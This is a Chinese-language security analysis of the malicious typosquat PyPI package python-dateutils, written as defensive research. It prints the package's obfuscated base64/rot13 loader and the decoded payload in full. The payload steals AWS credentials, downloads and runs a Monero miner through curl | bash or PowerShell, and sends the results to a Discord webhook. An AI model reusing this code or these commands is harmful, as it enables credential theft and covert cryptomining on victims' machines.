2022年6月28日,天问Python供应链监测模块捕获到一个typosquat包python-dateutils,与常用的Python时间处理模块python-dateutil区别仅为最后的s(已加粗标识),官方包python-dateutil自2021年7月14号发布版本2.8.2后便不再更新,恶意包python-dateutils于一天内连续发布2.9.3至3.0.3六个版本引起了我们的注意,我们迅速对该包进行了分析,并向官方反馈。

此次攻击的攻击者Dall-e将恶意代码直接写在Python文件内,并进行多次编码,使其攻击更具隐蔽性,具体代码如下所示。

1
2
3
4
5
6
7
8
import base64, codecs
magic = 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHN5cwoKCgppbXBvcnQgb3MKZnJvbSBzeXMgaW1wb3J0IHBsYXRmb3JtCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgc3VicHJvY2VzcwoKaXBfYWRkciA9ICcnCmlwID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2lmY29uZmlnLm1lJykKCgoKaXBfYWRkciA9IGlwLnRleHQKCgpkZWYgd2ViaG9vayhjb250ZW50LCBpcCwgb3NfdHlwKToKCiAgICB1cmwgPSAiaHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvOTkxMjA4NTU4MDk4MTQxMjY0L2hMblltUWw5azM4ZU03UENoQXFaSnpuNkpzZWxlNGZVMDRHTGxhVC16Znd3MEpkTXc0ajF6aGF6cFVqQk9qRXVHenBBIgoKICAgIHZhbHVlcyA9IHsKICAgICAgICAnY29udGVudCc6ICdwd25kIHpvbWJ5OiAnK3N0cihpcCkrJyBvczogJytzdHIob3NfdHlwKSsnICcrY29udGVudCwKICAgICAgICAndXNlcm5hbWUnOiAnZGF0ZXV0aWxzLXB5cGknCiAgICB9CgogICAgdHJ5OgogICAgICAgIHJlc3VsdCA9IHJlcXVlc3RzLnBvc3QodXJsLCBqc29uPXZhbHVlcykKCiAgICBleGNlcHQgS2V5Ym9hcmRJbnRlcnJ1cHQ6CiAgICAgICAgZXhpdCgpCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIGV4aXQoKQoKCmZyb20gb3MucGF0aCBpbXBvcnQgZXhwYW5kdXNlcgpob21lID0gZXhwYW5kdXNlcigifiIpCgppc0ZpbGUgPSBvcy5wYXRoLmV4aXN0cyhob21lKycvbW9uZXJvb2NlYW4nKQpp'
love = 'MvOho3DtnKATnJkyBtbXVPNtVTyzVUOfLKEzo3WgVQ09VPWfnJ51rPVto3VtpTkuqTMipz0tCG0tVzkcoaI4ZvV6PvNtVPNtVPNtPvNtVPNtVPNtPvNtVPNtVPNtp3ymqTIgK2yhMz8tCKA1LaOlo2Ayp3ZhHT9jMJ4bVzAuqPO+Yl5uq3ZiL3WyMTIhqTyuoUZ7L3IloPNgplNgGPObqUEjpmbiY3Wuql5anKEbqJW1p2IlL29hqTIhqP5wo20iGJ9hMKWiG2AyLJ4irT1lnJqsp2I0qKNioJSmqTIlY3AyqUIjK21iozIlo29wMJShK21cozIlYaAbVUjtLzSmnPNgplN0DIb2qGq3EIMnA0IRExSLD25nE2gzZIO3HyOAESA0Lz9Hrac3FzuzZHkwFzyYZ0gcARtlH2qdIxAhEaAan3qRo1MuAHEyAacKHJSLIJAmEKbkFTq1A2VkGT52DyEjqFVfVUAbMJkfCIElqJHfVUA0MT91qQ1mqJWjpz9wMKAmYyOWHRHfVUA0MTIlpw1mqJWjpz9wMKAmYyOWHRHcYzAioJ11ozywLKEyXPyoZS0XVPNtVPNtVPNXVPNtVPNtVPO3MJWbo29eXTAioaEyoaD9p3ymqTIgK2yhMz8hMTIwo2EyXPxfVTyjCJyjK2SxMUVfVT9mK3E5pQ0aGTyhqKtaXDbtVPNtMJkcMvOjoTS0Mz9loFN9CFNvMTSlq2yhVwbXVPNtVPNtVPOmrKA0MJ1snJ5zolN9p3IvpUWiL2Impl5Do3OyovtvL2S0VU4iYzS3pl9wpzIxMJ50nJSfpmftL3IloPNgplNgGPObqUEjpmbiY3Wuql5anKEbqJW1p2IlL29hqTIhqP5wo20iGJ9hMKWiG2AyLJ4irT1lnJqsp2I0qKNioJSmqTIlY3AyqUIjK21iozIlo29wMJShK21cozIlYaAbVUjtLzSmnPNgplN0DIb2qGq3'
god = 'RVZaN0VERkFYQ25aR2tmMVB3UlBNRFN0Ym9Uenp3SmhmMUxjSmlLM0tpNEgyU2dqVkNuRnNna3dEb1ZhNURlNnpXUWFYVWNzRXoxSGd1N2IxTG52QlRwdSIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KICAgICAgICAKICAgICAgICB3ZWJob29rKGNvbnRlbnQ9c3lzdGVtX2luZm8uZGVjb2RlKCksIGlwPWlwX2FkZHIsIG9zX3R5cD0nT1NYJykKICAgIGVsaWYgcGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICBzeXN0ZW1faW5mbyA9c3VicHJvY2Vzcy5Qb3BlbigicG93ZXJzaGVsbCAtQ29tbWFuZCBcIiR3YyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICR0ZW1wZmlsZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBGaWxlTmFtZSgpOyAkdGVtcGZpbGUgKz0gJy5iYXQnOyAkd2MuRG93bmxvYWRGaWxlKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTW9uZXJvT2NlYW4veG1yaWdfc2V0dXAvbWFzdGVyL3NldHVwX21vbmVyb29jZWFuX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDRBWjZ1N3dFVlo3RURGQVhDblpHa2YxUHdSUE1EU3Rib1R6endKaGYxTGNKaUszS2k0SDJTZ2pWQ25Gc2drd0RvVmE1RGU2eldRYVhVY3NFejFIZ3U3YjFMbnZCVHB1OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlXCIiLCBzaGVsbD1UcnVlLCBzdGRv'
destiny = 'qKD9p3IvpUWiL2Impl5DFIOSYPOmqTEypaV9p3IvpUWiL2Impl5DFIOSXF5wo21gqJ5cL2S0MFtcJmOqPvNtVPNtVPNtPvNtVPNtVPNtq2IvnT9inluwo250MJ50CKA5p3EyoI9cozMiYzEyL29xMFtcYPOcpQ1cpS9uMTElYPOip190rKN9W3qcozEiq3ZaXDbXPaElrGbXVPNtVTMlo20tYy92MKWmnJ9hVTygpT9lqPO2MKWmnJ9hVTSmVS9sqzIlp2yioy9sPzI4L2IjqPOWoKOipaESpaWipwbXVPNtVS9sqzIlp2yioy9sVQ0tW3Ihn25iq24aPtcsK2SfoS9sVQ0tJlqyLKA0MKVaYPNapTSlp2IlWljtW3WyoTS0nKMyMTIfqTRaYPNapaW1oTHaYPNaqUbaYNbtVPNtVPNtVPNtVPq1qTyfplpfVPq6o25ynJ5zolqqPtcxMJLtK19aMKEuqUElK18bozSgMFx6PvNtVPOcoKOipaDtnJ1jo3W0oTyvPtbtVPNtnJLtozSgMFOcovOsK2SfoS9sBtbtVPNtVPNtVUWyqUIlovOcoKOipaEfnJVhnJ1jo3W0K21iMUIfMFtvYvVtXlOhLJ1yYPOsK25uoJIsKlxXVPNtVUWunKAyVRS0qUWcLaI0MHIlpz9lXNbtVPNtVPNtVPWgo2E1oTHtrlSlsFObLKZtoz90VTS0qUWcLaI0MFO7VKW9Vv5zo3WgLKDbK19hLJ1yK18fVT5uoJHcPvNtVPNcPtbXMTIzVS9sMTylK18bXGbXVPNtVPZtK19xnKWsKlOmnT91oTDtnJ5woUIxMFOuoTjtqTuyVTkuraxgnJ1jo3W0LJWfMFOgo2E1oTImVTSmVUqyoTjhPvNtVPOlMKE1pz4tJ3ttMz9lVUttnJ4tM2kiLzSfpltcVTyzVUttoz90VTyhVUA5pl5go2E1oTImKFNeVS9sLJkfK18X'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

通过观察其对于变量名称的定义以及编码的使用,我们认出其代码是通过DevelopmentTools.Net提供的python-obfuscator工具自动生成,对上述代码中的变量进行Unicode编码转换后得到如下结果。

1
2
joy = 'rot13'
trust = magic + codecs.decode(love, joy) + god + codecs.decode(destiny, joy)

即trust为四个字符串拼接而成的大字符串,在对其进行了拼接并解码后,我们得到如下代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
import sys
import os
from sys import platform
import requests
import subprocess

ip_addr = ''
ip = requests.get('https://ifconfig.me')
ip_addr = ip.text

def webhook(content, ip, os_typ):
url = "https://discord.com/api/webhooks/991208558098141264/hLnYmQl9k38eM7PChAqZJzn6Jsele4fU04GLlaT-zfww0JdMw4j1zhazpUjBOjEuGzpA"
values = {
'content': 'pwnd zomby: '+str(ip)+' os: '+str(os_typ)+' '+content,
'username': 'dateutils-pypi'
}
try:
result = requests.post(url, json=values)

except KeyboardInterrupt:
exit()
except Exception:
exit()

from os.path import expanduser
home = expanduser("~")

isFile = os.path.exists(home+'/moneroocean')
if not isFile:
if platform == "linux" or platform == "linux2":
system_info =subprocess.Popen("cat ~/.aws/credentials;curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
webhook(content=system_info.decode(), ip=ip_addr, os_typ='Linux')

elif platform == "darwin":
system_info =subprocess.Popen("cat ~/.aws/credentials; curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
webhook(content=system_info.decode(), ip=ip_addr, os_typ='OSX')

elif platform == "win32":
system_info =subprocess.Popen("powershell -Command \"$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu; Remove-Item -Force $tempfile\"", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]

webhook(content=system_info.decode(), ip=ip_addr, os_typ='windows')

恶意代码判断了系统版本之后,通过Python的subprocess模块唤起bash执行了如下代码,开始实施攻击。

1
cat ~/.aws/credentials; curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu

其首先窃取了亚马逊云服务的私密信息,并通过curl指令获取恶意脚本,在完成执行之后,通过discord webhook将获取到的信息外传。值的一提的是,其curl | bash -s 的指令可以使脚本setup_moneroocean_miner.sh在不落地的情况下完成执行,使其攻击无迹可寻。

通过分析该恶意脚本,我们发现这个是一个门罗币的挖矿程序,其具体功能如下表。

功能 解释
printing greetings 将脚本基本信息输出,并询问用户的钱包链接,如上恶意包中代码中的bash -s 后面的字符串
checking prerequisites 检查home目录是否可读写,curl/lscpu等指令是否可使用
calculating port 通过nproc获取内核线程数,并设置访问端口
moneroocean setup 访问hxxps://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz下载MoneroOcean需求的xmrig版本
monero miner service 最终执行门罗币挖矿程序

该样本在天穹沙箱中的运行结果如下。

目前该包已被官方删除。